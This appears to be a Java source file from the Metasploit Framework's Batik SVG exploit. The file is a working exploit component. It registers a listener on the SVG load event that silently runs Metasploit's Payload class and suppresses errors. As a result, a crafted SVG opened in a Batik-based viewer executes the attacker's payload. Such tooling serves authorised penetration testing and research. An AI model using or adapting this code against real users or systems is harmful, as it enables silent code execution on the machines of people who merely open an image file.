metasploit-framework/external/source/exploits/batik_svg/Exploit.java

28 lines
698 B
Java
Raw Normal View History

2012-05-17 14:48:38 +00:00
import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;
import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;
import metasploit.Payload;
public class Exploit implements EventListenerInitializer {
public Exploit() {
}
public void initializeEventListeners(SVGDocument document) {
SVGSVGElement root = document.getRootElement();
EventListener listener = new EventListener() {
public void handleEvent(Event event) {
try {
Payload.main(null);
} catch (Exception e) {}
}
};
root.addEventListener("SVGLoad", listener, false);
}
}